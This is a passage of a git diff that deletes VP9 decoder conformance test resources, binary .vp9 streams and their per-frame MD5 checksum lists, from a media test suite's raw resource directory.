-42c9da4939d435fcec3def2fa2bc5e26  vp90-2-02-size-lf-1920x1080-1920x1080-0025.i420
-26da302e6e86a632dfa8d8a78e83e269  vp90-2-02-size-lf-1920x1080-1920x1080-0026.i420
-8387287bfa4e62dd575941fab6f95f96  vp90-2-02-size-lf-1920x1080-1920x1080-0027.i420
-7fcc408015aed7f70c0c2321b61d166d  vp90-2-02-size-lf-1920x1080-1920x1080-0028.i420
-2394b1c14a156421cc7b30fa95c1a49b  vp90-2-02-size-lf-1920x1080-1920x1080-0029.i420
-34d91c69395380155f6f1020cda78bf9  vp90-2-02-size-lf-1920x1080-1920x1080-0030.i420
-3f081ccd624b2648b7fde66e23b05e1d  vp90-2-02-size-lf-1920x1080-1920x1080-0031.i420
-ca08738b7c81f2f10ea2f65bf5fd7876  vp90-2-02-size-lf-1920x1080-1920x1080-0032.i420
-f65c4dc7c172666ba3bb9bd402d5767c  vp90-2-02-size-lf-1920x1080-1920x1080-0033.i420
-d7ea91467fea6c268b6cd8da9067d12b  vp90-2-02-size-lf-1920x1080-1920x1080-0034.i420
-9888aa4a9b3ff09ada838b5ab0f1216c  vp90-2-02-size-lf-1920x1080-1920x1080-0035.i420
-015d788822a605d03877454c8ffd065a  vp90-2-02-size-lf-1920x1080-1920x1080-0036.i420
-d9d6a53eed5627764c107aafaa64d9a8  vp90-2-02-size-lf-1920x1080-1920x1080-0037.i420
-0b4a40dc0a6a1f5caf16ddd4dde26186  vp90-2-02-size-lf-1920x1080-1920x1080-0038.i420
-4a3f4c2e6d559a1a93b50e716dddf0bf  vp90-2-02-size-lf-1920x1080-1920x1080-0039.i420
-d10f631f4a15b6f1060233a6519eefcc  vp90-2-02-size-lf-1920x1080-1920x1080-0040.i420
-cc650873b637c244cb1415e39051d013  vp90-2-02-size-lf-1920x1080-1920x1080-0041.i420
-44a697f932e97b7f53a989e429fdca29  vp90-2-02-size-lf-1920x1080-1920x1080-0042.i420
-a09c7c567353412a36776398975fbe6a  vp90-2-02-size-lf-1920x1080-1920x1080-0043.i420
-49e3469e2b27fc776bcc0e146910ce2b  vp90-2-02-size-lf-1920x1080-1920x1080-0044.i420
-dd3261b098648b62fa0eab900b0056ba  vp90-2-02-size-lf-1920x1080-1920x1080-0045.i420
-853f90bb3e23e837ad0cb33106c2256f  vp90-2-02-size-lf-1920x1080-1920x1080-0046.i420
-0df1eadd74d643e029188f242af2f533  vp90-2-02-size-lf-1920x1080-1920x1080-0047.i420
-c1d3b56a0a622b176b81400421e87176  vp90-2-02-size-lf-1920x1080-1920x1080-0048.i420
-3c723084af1b727f78fdb9a0e5912a58  vp90-2-02-size-lf-1920x1080-1920x1080-0049.i420
-9806a519be5c399ae8c2b816772786ec  vp90-2-02-size-lf-1920x1080-1920x1080-0050.i420
-f25fd27140575595c5f944446e57e502  vp90-2-02-size-lf-1920x1080-1920x1080-0051.i420
-8c8e4f402372d76e2844794d2ddada43  vp90-2-02-size-lf-1920x1080-1920x1080-0052.i420
-c2cce3cc8291978008779f567e912361  vp90-2-02-size-lf-1920x1080-1920x1080-0053.i420
-d3d2819296938ded08b07b2206387afd  vp90-2-02-size-lf-1920x1080-1920x1080-0054.i420
-fce62f1e083bf305f966696617549fc8  vp90-2-02-size-lf-1920x1080-1920x1080-0055.i420
-70ccdb87e5d4458ab60fb6b7a263880f  vp90-2-02-size-lf-1920x1080-1920x1080-0056.i420
-a8def4b2a416924ac1a8933901e6cdee  vp90-2-02-size-lf-1920x1080-1920x1080-0057.i420
-a4f09f6e2f534716e0ab92c094cd0525  vp90-2-02-size-lf-1920x1080-1920x1080-0058.i420
-91e264c9da9dd14b631ef6483a458ead  vp90-2-02-size-lf-1920x1080-1920x1080-0059.i420
-8506e8b6033f50212c7a4fb751074667  vp90-2-02-size-lf-1920x1080-1920x1080-0060.i420
-eb14b107652f8f71ff06b1f73fbc8ec7  vp90-2-02-size-lf-1920x1080-1920x1080-0061.i420
-4684a67783e8663bdf275352108f4eef  vp90-2-02-size-lf-1920x1080-1920x1080-0062.i420
-9568285e9a9542f5a708a31e2e157c5b  vp90-2-02-size-lf-1920x1080-1920x1080-0063.i420
-b5349702a8cb8679a362ba8bc550bf7c  vp90-2-02-size-lf-1920x1080-1920x1080-0064.i420
-fb7920dc58fd81ddf221fc9031fbc19f  vp90-2-02-size-lf-1920x1080-1920x1080-0065.i420
-b8f752ad92003e481c94beb3b8599214  vp90-2-02-size-lf-1920x1080-1920x1080-0066.i420
-3d93fc99118832ac7c3897f3e9b3a82e  vp90-2-02-size-lf-1920x1080-1920x1080-0067.i420
-98003f945aa8ba7aae4d9f6255002f62  vp90-2-02-size-lf-1920x1080-1920x1080-0068.i420
-a18ff6d6fa7645f922de2f3ba4053f49  vp90-2-02-size-lf-1920x1080-1920x1080-0069.i420
-1232126ef24ff4787b11b32223d34018  vp90-2-02-size-lf-1920x1080-1920x1080-0070.i420
-a83f92c62e008939b3de91cdf9c1282f  vp90-2-02-size-lf-1920x1080-1920x1080-0071.i420
-cd47127ea0b864e5636222b40cdb5fbe  vp90-2-02-size-lf-1920x1080-1920x1080-0072.i420
-544233ce095abea8ffe427a603224ddd  vp90-2-02-size-lf-1920x1080-1920x1080-0073.i420
-7192883aca7eda74dd7e61d1cc6f6e2e  vp90-2-02-size-lf-1920x1080-1920x1080-0074.i420
-e8db34581dd264810ad683cd6475cf23  vp90-2-02-size-lf-1920x1080-1920x1080-0075.i420
-c215af24670915f3a123beb970ccba22  vp90-2-02-size-lf-1920x1080-1920x1080-0076.i420
-40d89931ddef819030a46d81e114f0b5  vp90-2-02-size-lf-1920x1080-1920x1080-0077.i420
-064781c2e9e9d564c9098be2aa5b6299  vp90-2-02-size-lf-1920x1080-1920x1080-0078.i420
-9ebab2d14446bdd11b62a6b308889b64  vp90-2-02-size-lf-1920x1080-1920x1080-0079.i420
-77ca0761cab449ea90bc8b1e1de5ae3a  vp90-2-02-size-lf-1920x1080-1920x1080-0080.i420
-74cb71b2755157dc7c1ef211b2346270  vp90-2-02-size-lf-1920x1080-1920x1080-0081.i420
-23ce88228df42b9e69ad3f4f25dd20cf  vp90-2-02-size-lf-1920x1080-1920x1080-0082.i420
-52ac5c9e14482dfde27ad838145c5986  vp90-2-02-size-lf-1920x1080-1920x1080-0083.i420
-929381d60199bb8c250324ca96323008  vp90-2-02-size-lf-1920x1080-1920x1080-0084.i420
-94f9ca3acbe3ed61bffec3f48e1dc43a  vp90-2-02-size-lf-1920x1080-1920x1080-0085.i420
-955a4095051cdf3699e5385396a04d69  vp90-2-02-size-lf-1920x1080-1920x1080-0086.i420
-dd784f3a18eae98cae4f795f854d6f03  vp90-2-02-size-lf-1920x1080-1920x1080-0087.i420
-1ebeb7d3d528292c8ae1b54b30692c81  vp90-2-02-size-lf-1920x1080-1920x1080-0088.i420
-f38b83c5b2827c4efddcb6777fd6cd5d  vp90-2-02-size-lf-1920x1080-1920x1080-0089.i420
-011dff2cf18e5b4bac6035edf57372d6  vp90-2-02-size-lf-1920x1080-1920x1080-0090.i420
-a1e8ae0f840b6aeddf283f44aa57262e  vp90-2-02-size-lf-1920x1080-1920x1080-0091.i420
-bf8f75c177756e4e8c8ad0d494b7921c  vp90-2-02-size-lf-1920x1080-1920x1080-0092.i420
-d3e9bf1a44f61e47a3d0f4ca04921a11  vp90-2-02-size-lf-1920x1080-1920x1080-0093.i420
-874f5b4db9dfdb78d9a654a9ce3da4ba  vp90-2-02-size-lf-1920x1080-1920x1080-0094.i420
-a8f7ef85e67a1b3c6c730565e0e1ab3e  vp90-2-02-size-lf-1920x1080-1920x1080-0095.i420
-33d6e20c9921719b4dcd9ccdcf242ebf  vp90-2-02-size-lf-1920x1080-1920x1080-0096.i420
-ee13704be5bb72bc91e05dc07154c8b4  vp90-2-02-size-lf-1920x1080-1920x1080-0097.i420
-8edfa18ab4a51243581302b7b12655c5  vp90-2-02-size-lf-1920x1080-1920x1080-0098.i420
-4d71c47f48e498c525b3a2907b4dad10  vp90-2-02-size-lf-1920x1080-1920x1080-0099.i420
-6de62f06881c7db2e37391f3928f9ac1  vp90-2-02-size-lf-1920x1080-1920x1080-0100.i420
-70f76a47c7ed5568ff4d21c53c58482e  vp90-2-02-size-lf-1920x1080-1920x1080-0101.i420
-e7faf1645e75a6d0927336c08a018a34  vp90-2-02-size-lf-1920x1080-1920x1080-0102.i420
-e206df8ed03f809e31f704863851ec77  vp90-2-02-size-lf-1920x1080-1920x1080-0103.i420
-03eb13cf9426514e58deeda33f4766d0  vp90-2-02-size-lf-1920x1080-1920x1080-0104.i420
-e06bc2064d306de26356f6d67c2bc21b  vp90-2-02-size-lf-1920x1080-1920x1080-0105.i420
-dd8a993039b6d9c78e2f03c7efcb4984  vp90-2-02-size-lf-1920x1080-1920x1080-0106.i420
-26cb793df8bc7f1ddcd9bd897e877ef0  vp90-2-02-size-lf-1920x1080-1920x1080-0107.i420
-7e3d32618b104c9c47d4464aa2df4709  vp90-2-02-size-lf-1920x1080-1920x1080-0108.i420
-64b1e12d7b87decd877e6c23ffd275d7  vp90-2-02-size-lf-1920x1080-1920x1080-0109.i420
-323ddc3a19c198f7768dacaf6faad602  vp90-2-02-size-lf-1920x1080-1920x1080-0110.i420
-126d984b9bdaf3397ea4ebec52775e7f  vp90-2-02-size-lf-1920x1080-1920x1080-0111.i420
-76a4586be73d0401c339790c1045abab  vp90-2-02-size-lf-1920x1080-1920x1080-0112.i420
-68466c976fb0309ada2cc7bc514c7d78  vp90-2-02-size-lf-1920x1080-1920x1080-0113.i420
-38135b5505f21ec8d23f97cb29ef1161  vp90-2-02-size-lf-1920x1080-1920x1080-0114.i420
-d657d27a111e9d81b1fbedc7f9c035c9  vp90-2-02-size-lf-1920x1080-1920x1080-0115.i420
-f399d1dc319f560206f09ca5fb59c837  vp90-2-02-size-lf-1920x1080-1920x1080-0116.i420
-269b8a8582e28e11ca3d21dc0f4dc2a6  vp90-2-02-size-lf-1920x1080-1920x1080-0117.i420
-3550fd48042d272f051bb4a6fc76c9df  vp90-2-02-size-lf-1920x1080-1920x1080-0118.i420
-5be1f4ed7eea3b62d6c55003ded2906a  vp90-2-02-size-lf-1920x1080-1920x1080-0119.i420
-7c607aade4b3451f9a081367584ae5f7  vp90-2-02-size-lf-1920x1080-1920x1080-0120.i420
-a724b1ee8504955503aca7af81425008  vp90-2-02-size-lf-1920x1080-1920x1080-0121.i420
-f58ea230bd73fa111982093742f22055  vp90-2-02-size-lf-1920x1080-1920x1080-0122.i420
-8ad4a70efa7bbc936049de2cd5b973b8  vp90-2-02-size-lf-1920x1080-1920x1080-0123.i420
-4ecbe738e3d31d546332ae248e6ba075  vp90-2-02-size-lf-1920x1080-1920x1080-0124.i420
-507a6fe3e6c95dfec41950382ed49f0e  vp90-2-02-size-lf-1920x1080-1920x1080-0125.i420
-833dc6d11dbfc1fa8465b292a66afa32  vp90-2-02-size-lf-1920x1080-1920x1080-0126.i420
-0ac2d4983e91ba36a69d11ae9a32f31a  vp90-2-02-size-lf-1920x1080-1920x1080-0127.i420
-0e61c144b842d46b7f63f433dc7be802  vp90-2-02-size-lf-1920x1080-1920x1080-0128.i420
-e93dc18eddef0a93ba652ed898fc4898  vp90-2-02-size-lf-1920x1080-1920x1080-0129.i420
-6745736a1f8ce3dae8532a007023ac6a  vp90-2-02-size-lf-1920x1080-1920x1080-0130.i420
-75f9739dc3e003fdb356221a5654c0e4  vp90-2-02-size-lf-1920x1080-1920x1080-0131.i420
-d189cf9fffb8118f31a294deab61585a  vp90-2-02-size-lf-1920x1080-1920x1080-0132.i420
-2738879f462aca9015e212e644420b7b  vp90-2-02-size-lf-1920x1080-1920x1080-0133.i420
-eff4b276b3c4f454b0822ae4f8d88a0b  vp90-2-02-size-lf-1920x1080-1920x1080-0134.i420
-2e461ae7d93bb4cfd4e072a35b651d17  vp90-2-02-size-lf-1920x1080-1920x1080-0135.i420
-bf9a82ea0e3628e4fd1eeb03cb1f50bc  vp90-2-02-size-lf-1920x1080-1920x1080-0136.i420
-c8dff3e50d37f9e1ce8b92a0762c57be  vp90-2-02-size-lf-1920x1080-1920x1080-0137.i420
-51e6f9efc88a795de0a4d16a6a71d497  vp90-2-02-size-lf-1920x1080-1920x1080-0138.i420
-761b5005e7f8ab8185ccedb660ded250  vp90-2-02-size-lf-1920x1080-1920x1080-0139.i420
-f98da0c03436b1c759d368b9d42db679  vp90-2-02-size-lf-1920x1080-1920x1080-0140.i420
-dec3590e5c11737670703e73ed69783f  vp90-2-02-size-lf-1920x1080-1920x1080-0141.i420
-0481f4aec0c9eafb3f9a10cf80c0b056  vp90-2-02-size-lf-1920x1080-1920x1080-0142.i420
-67478cb1e4de699d529046f983105477  vp90-2-02-size-lf-1920x1080-1920x1080-0143.i420
-80f371f7fa43cab698b832a4010e5a88  vp90-2-02-size-lf-1920x1080-1920x1080-0144.i420
-4e9095ab5204a387f63118949bb90f9e  vp90-2-02-size-lf-1920x1080-1920x1080-0145.i420
-f943ce3342b90b01fabd3d5bc779bb01  vp90-2-02-size-lf-1920x1080-1920x1080-0146.i420
-1b12d49c5685111fa4faa8edc8b683ad  vp90-2-02-size-lf-1920x1080-1920x1080-0147.i420
-8ee848ae53f7b86a254e49562bbfe849  vp90-2-02-size-lf-1920x1080-1920x1080-0148.i420
-2d83c434c41329ae3a8b56c10a27f2e7  vp90-2-02-size-lf-1920x1080-1920x1080-0149.i420
-af6a63fc13b919dabedd86db735990f3  vp90-2-02-size-lf-1920x1080-1920x1080-0150.i420
-a807fce07a52227202dcdcbbfb4eb1bc  vp90-2-02-size-lf-1920x1080-1920x1080-0151.i420
-95aebea323577226684914c6b74830c5  vp90-2-02-size-lf-1920x1080-1920x1080-0152.i420
-65d64ebdaadb116608f06add0e8fada2  vp90-2-02-size-lf-1920x1080-1920x1080-0153.i420
-b064af776f8c562ea6b41e0c74710869  vp90-2-02-size-lf-1920x1080-1920x1080-0154.i420
-26291594af160501023eb0035443b7c3  vp90-2-02-size-lf-1920x1080-1920x1080-0155.i420
-79a414d560d3e36314c981f1e30e053b  vp90-2-02-size-lf-1920x1080-1920x1080-0156.i420
-3455e01e2cd146aefbad54cb032b15f1  vp90-2-02-size-lf-1920x1080-1920x1080-0157.i420
-eaa2e271058202cbc0933dea8f46f570  vp90-2-02-size-lf-1920x1080-1920x1080-0158.i420
-42da27c94aaa56ae27fddf75bf51f47f  vp90-2-02-size-lf-1920x1080-1920x1080-0159.i420
-746cca013c7b6df41e3233214ca7a5d7  vp90-2-02-size-lf-1920x1080-1920x1080-0160.i420
-ab20ad95d6b3e0d689186cde51e4a86a  vp90-2-02-size-lf-1920x1080-1920x1080-0161.i420
-b8a02e44615a697da3de946e8cf4e8e4  vp90-2-02-size-lf-1920x1080-1920x1080-0162.i420
-4df5b10cb1c784362035f69bdb183be0  vp90-2-02-size-lf-1920x1080-1920x1080-0163.i420
-f2e5dd616e8125b1b46c410141180fb0  vp90-2-02-size-lf-1920x1080-1920x1080-0164.i420
-e09ab4ca180cb477a3a87bc8fd1e2ce0  vp90-2-02-size-lf-1920x1080-1920x1080-0165.i420
-5ee431b26d6c83689bf18eb8d805f31e  vp90-2-02-size-lf-1920x1080-1920x1080-0166.i420
-bca8aaf030c959ac37c3e084be6cf8b3  vp90-2-02-size-lf-1920x1080-1920x1080-0167.i420
-8dd977323d8a5dba5c98c6671821e066  vp90-2-02-size-lf-1920x1080-1920x1080-0168.i420
-aed8ef2c20f9726542c78fade0fb0968  vp90-2-02-size-lf-1920x1080-1920x1080-0169.i420
-e19775ba9c5b6dbf1e84fd0531bd1f2a  vp90-2-02-size-lf-1920x1080-1920x1080-0170.i420
-a69c5daf6e6e3b579a3430fc95f37dac  vp90-2-02-size-lf-1920x1080-1920x1080-0171.i420
-3503bc793f86b75d9aa1c9c51b2d0f6f  vp90-2-02-size-lf-1920x1080-1920x1080-0172.i420
-bdcee02e245b92acf06588370df2e5e6  vp90-2-02-size-lf-1920x1080-1920x1080-0173.i420
-8bbb9460d0f419969491669664891d88  vp90-2-02-size-lf-1920x1080-1920x1080-0174.i420
-d4b993d87c2f4042c0b647e4e50cca38  vp90-2-02-size-lf-1920x1080-1920x1080-0175.i420
-5acb9f10167b208a32babbe56fd07587  vp90-2-02-size-lf-1920x1080-1920x1080-0176.i420
-958900bb713559d272470f1e85cffcda  vp90-2-02-size-lf-1920x1080-1920x1080-0177.i420
-f355f1858fd2c8a4932dfd6d6cfe7673  vp90-2-02-size-lf-1920x1080-1920x1080-0178.i420
-45caac733e395f63c82c9d8ab050c858  vp90-2-02-size-lf-1920x1080-1920x1080-0179.i420
-8b05c2c352c4adc5cabc0184a1f510f5  vp90-2-02-size-lf-1920x1080-1920x1080-0180.i420
-167c3fe4df204bab9cceb17ae655aa61  vp90-2-02-size-lf-1920x1080-1920x1080-0181.i420
-3859339e9a63d0e05797f0de535f7be8  vp90-2-02-size-lf-1920x1080-1920x1080-0182.i420
-2d5cc539454cb6aace19ab9bba60b066  vp90-2-02-size-lf-1920x1080-1920x1080-0183.i420
-f51299a0601fb1621d2de6b0e2391a9a  vp90-2-02-size-lf-1920x1080-1920x1080-0184.i420
-92b0ed2528c0756b0c84721a306ba61b  vp90-2-02-size-lf-1920x1080-1920x1080-0185.i420
-8f1870cce38718b02d0a4e26a5a2619e  vp90-2-02-size-lf-1920x1080-1920x1080-0186.i420
-e0ed74a244b8698baaefd837ab1590ff  vp90-2-02-size-lf-1920x1080-1920x1080-0187.i420
-c8b10e2ac68bd0106e34a57943f23e12  vp90-2-02-size-lf-1920x1080-1920x1080-0188.i420
-f5e505e3d681763fd447214aed863ab9  vp90-2-02-size-lf-1920x1080-1920x1080-0189.i420
-c2cc70d65ba1c13c5e07a1d28611792a  vp90-2-02-size-lf-1920x1080-1920x1080-0190.i420
-e518aac5c551f7c09652c25905cce41f  vp90-2-02-size-lf-1920x1080-1920x1080-0191.i420
-66379f7a3b2de153486a76b459e2ce3b  vp90-2-02-size-lf-1920x1080-1920x1080-0192.i420
-552afad8181d6d138e2e62c971a10a42  vp90-2-02-size-lf-1920x1080-1920x1080-0193.i420
-ac21d5c2ef3ccaabbaa9f08fcc9d0db8  vp90-2-02-size-lf-1920x1080-1920x1080-0194.i420
-f67af966e3fa79a6fce48b7d9e1fb593  vp90-2-02-size-lf-1920x1080-1920x1080-0195.i420
-dd6331e4361f8b8bd45d571db2e0344b  vp90-2-02-size-lf-1920x1080-1920x1080-0196.i420
-14a0db3c0a39b7431c337622ed4078a5  vp90-2-02-size-lf-1920x1080-1920x1080-0197.i420
-8d3394abad260b5e4e24abe4a898cb7b  vp90-2-02-size-lf-1920x1080-1920x1080-0198.i420
-e085ce3274d77fa874ab70183353b4c1  vp90-2-02-size-lf-1920x1080-1920x1080-0199.i420
-de083fffb4226ec227d3aa9c873dfcf7  vp90-2-02-size-lf-1920x1080-1920x1080-0200.i420
-4628eff51846a97fb708c4d3753ffee4  vp90-2-02-size-lf-1920x1080-1920x1080-0201.i420
-b480e4409fa8ca9c2e0d4bd57b7e8cf6  vp90-2-02-size-lf-1920x1080-1920x1080-0202.i420
-ff21164cc573b6f79739165b61b68dd0  vp90-2-02-size-lf-1920x1080-1920x1080-0203.i420
-ec391026b77527ed48029adfbd1afc93  vp90-2-02-size-lf-1920x1080-1920x1080-0204.i420
-23186dd93e32603c3709aa3419963ca9  vp90-2-02-size-lf-1920x1080-1920x1080-0205.i420
-6a1968207b37594cc82736f086a0a023  vp90-2-02-size-lf-1920x1080-1920x1080-0206.i420
-57358a332af03e5d96d8c1cd5e4a497d  vp90-2-02-size-lf-1920x1080-1920x1080-0207.i420
-584ac2ecc56e1a9f0f1a5356b161a7a6  vp90-2-02-size-lf-1920x1080-1920x1080-0208.i420
-f566d1e385f25ef9b74989cbe7bbca7b  vp90-2-02-size-lf-1920x1080-1920x1080-0209.i420
-a4bf059ee8207d1edeebc3193e8db8e0  vp90-2-02-size-lf-1920x1080-1920x1080-0210.i420
-cc5948fa18d6e73afa253eedbfaecd41  vp90-2-02-size-lf-1920x1080-1920x1080-0211.i420
-61d44c8bfca18b6742fed974366898b8  vp90-2-02-size-lf-1920x1080-1920x1080-0212.i420
-c48d67da0d72daaf635226b9e30e05e3  vp90-2-02-size-lf-1920x1080-1920x1080-0213.i420
-b4596a68e708f304875fd2306fec56e9  vp90-2-02-size-lf-1920x1080-1920x1080-0214.i420
-b59be425ebea3d15b4be140e552ab944  vp90-2-02-size-lf-1920x1080-1920x1080-0215.i420
-1e966f137918375ae060d4c49cf38664  vp90-2-02-size-lf-1920x1080-1920x1080-0216.i420
-0ff25f8e98719fd57dc31d391bb930c4  vp90-2-02-size-lf-1920x1080-1920x1080-0217.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_deltaq.vp9 b/tests/tests/media/res/raw/vp90_2_03_deltaq.vp9
deleted file mode 100644
index 9033b23..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_deltaq.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_deltaq_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_deltaq_vp9_md5
deleted file mode 100644
index aca350c..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_deltaq_vp9_md5
+++ /dev/null
@@ -1,2 +0,0 @@
-2f90d606edc511c8c960530dd915cb98  vp90-2-03-deltaq-352x240-0001.i420
-7fd451a057d6341b2b0d116f59e41a13  vp90-2-03-deltaq-352x240-0002.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x196.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x196.vp9
deleted file mode 100644
index 06988f1..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x196.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x196_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x196_vp9_md5
deleted file mode 100644
index 847972f..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x196_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-14cc1c34b8106e35238d4650a9123852  vp90-2-03-size-196x196-196x196-0001.i420
-66e0bb9136ea24e30b781a4610b428a1  vp90-2-03-size-196x196-196x196-0002.i420
-8e36679c20a3a3e974fdacf7a9343817  vp90-2-03-size-196x196-196x196-0003.i420
-2669fd03ce7ce01f4fc9db23e06fffdb  vp90-2-03-size-196x196-196x196-0004.i420
-46ced29eb6edf2136c8ee19e9a87380f  vp90-2-03-size-196x196-196x196-0005.i420
-4e4138b65a30bc56cd18663a1799f98f  vp90-2-03-size-196x196-196x196-0006.i420
-580b0431b5f808c67e50ed34e62f39ad  vp90-2-03-size-196x196-196x196-0007.i420
-1339bbe256d8499ab17d6a550f7dac70  vp90-2-03-size-196x196-196x196-0008.i420
-89b9dac29a4c4136249c40a3763dc114  vp90-2-03-size-196x196-196x196-0009.i420
-a735d341d7df9dcd0b6e51a82b813f61  vp90-2-03-size-196x196-196x196-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x198.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x198.vp9
deleted file mode 100644
index cffe250..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x198.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x198_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x198_vp9_md5
deleted file mode 100644
index 33056c5..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x198_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-d2bd2dfaf2ac22b3f2499844f228d89a  vp90-2-03-size-196x198-196x198-0001.i420
-e066448baeb39da04b22d4d2ebd27b0a  vp90-2-03-size-196x198-196x198-0002.i420
-aace53c0ecca2596c51dd5e70da7abc4  vp90-2-03-size-196x198-196x198-0003.i420
-077256d024ab101918d10ae61142f203  vp90-2-03-size-196x198-196x198-0004.i420
-e2bfdad36b0365d41dc6813a371111ee  vp90-2-03-size-196x198-196x198-0005.i420
-17495af68b0a2c075899849382f3b046  vp90-2-03-size-196x198-196x198-0006.i420
-7853db163344798e5c37672adaac92d8  vp90-2-03-size-196x198-196x198-0007.i420
-7b2ee2e1ca709c58457c7d818e47c95c  vp90-2-03-size-196x198-196x198-0008.i420
-f7eb3ce10561628f932861358a30b414  vp90-2-03-size-196x198-196x198-0009.i420
-3182374f5aa539fd0faa44ed4a7492e5  vp90-2-03-size-196x198-196x198-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x200.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x200.vp9
deleted file mode 100644
index 53e2c03..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x200.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x200_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x200_vp9_md5
deleted file mode 100644
index 7746aba..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x200_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-b2f2ac3e3833ae1b4dd075fe00210373  vp90-2-03-size-196x200-196x200-0001.i420
-c0cce05e56a07111fe62553fa3a87074  vp90-2-03-size-196x200-196x200-0002.i420
-626aab3de03242073e03504e166b4697  vp90-2-03-size-196x200-196x200-0003.i420
-574d2c810f0bbfac57f1f06c2b97445c  vp90-2-03-size-196x200-196x200-0004.i420
-7d5bc5860bd1422d08396fe080452099  vp90-2-03-size-196x200-196x200-0005.i420
-5d47bbfb0f5cdecfe8415ca2caddc206  vp90-2-03-size-196x200-196x200-0006.i420
-fbef6a0fa51029d0475975945ccf4b36  vp90-2-03-size-196x200-196x200-0007.i420
-c9179c153bcb2a8e9d17ed04e5e2c39c  vp90-2-03-size-196x200-196x200-0008.i420
-107d796592cf2140d4d492beadba2d68  vp90-2-03-size-196x200-196x200-0009.i420
-eee46f9ee67fc1121bffb63aeb7c768f  vp90-2-03-size-196x200-196x200-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x202.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x202.vp9
deleted file mode 100644
index 87394bd..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x202.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x202_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x202_vp9_md5
deleted file mode 100644
index 351cf95..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x202_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-7109d2ef160828ece26337f36fcfc092  vp90-2-03-size-196x202-196x202-0001.i420
-bdaa6612f81a956d9b20d55a04df8346  vp90-2-03-size-196x202-196x202-0002.i420
-15eb75495d2713a64415b990b058d5ca  vp90-2-03-size-196x202-196x202-0003.i420
-b997c84553475ba84e8ba3d7ee19ae4e  vp90-2-03-size-196x202-196x202-0004.i420
-63a8badd691bcf643cf676d029ce8a6c  vp90-2-03-size-196x202-196x202-0005.i420
-b8ca23d9b3418c4c36040a215b2b7917  vp90-2-03-size-196x202-196x202-0006.i420
-1be0da18386c35e4a5e5d5d32d9a4468  vp90-2-03-size-196x202-196x202-0007.i420
-e75a03fa70fe7e6b3a8d8ce7dc8305f1  vp90-2-03-size-196x202-196x202-0008.i420
-cbd2b60df9209025c8e890771a05321d  vp90-2-03-size-196x202-196x202-0009.i420
-c655d6fcc3333917b66358a9ac2b1357  vp90-2-03-size-196x202-196x202-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x208.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x208.vp9
deleted file mode 100644
index d20e7cc..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x208.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x208_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x208_vp9_md5
deleted file mode 100644
index 94a9277..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x208_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
-efa2a2a76a0fe709a78e491346cfcf29  vp90-2-03-size-196x208-196x208-0001.i420
-97de85e21b408878853fa870104707d7  vp90-2-03-size-196x208-196x208-0002.i420
-419bd1157e156d3059190d6b561c57dd  vp90-2-03-size-196x208-196x208-0003.i420
-fbb6e01c524fc7c8007c6cfe2c64f467  vp90-2-03-size-196x208-196x208-0004.i420
-7453994c2e9901fa23f295ec0b556f9c  vp90-2-03-size-196x208-196x208-0005.i420
-ba39dc984789fa2c4b833cd88013cc97  vp90-2-03-size-196x208-196x208-0006.i420
-cea5061cac1be18d5f9a9301a5460491  vp90-2-03-size-196x208-196x208-0007.i420
-1c583018c425b1a91949e0c3eb0a4152  vp90-2-03-size-196x208-196x208-0008.i420
-b48be02280ac6f97731af69bcf18de25  vp90-2-03-size-196x208-196x208-0009.i420
-6f8ab465214d8374c9ff77b939da333e  vp90-2-03-size-196x208-196x208-0010.i420
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x210.vp9 b/tests/tests/media/res/raw/vp90_2_03_size_196x210.vp9
deleted file mode 100644
index c1dfbb3..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x210.vp9
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/vp90_2_03_size_196x210_vp9_md5 b/tests/tests/media/res/raw/vp90_2_03_size_196x210_vp9_md5
deleted file mode 100644
index eddddaf..0000000
--- a/tests/tests/media/res/raw/vp90_2_03_size_196x210_vp9_md5
+++ /dev/null
@@ -1,10 +0,0 @@
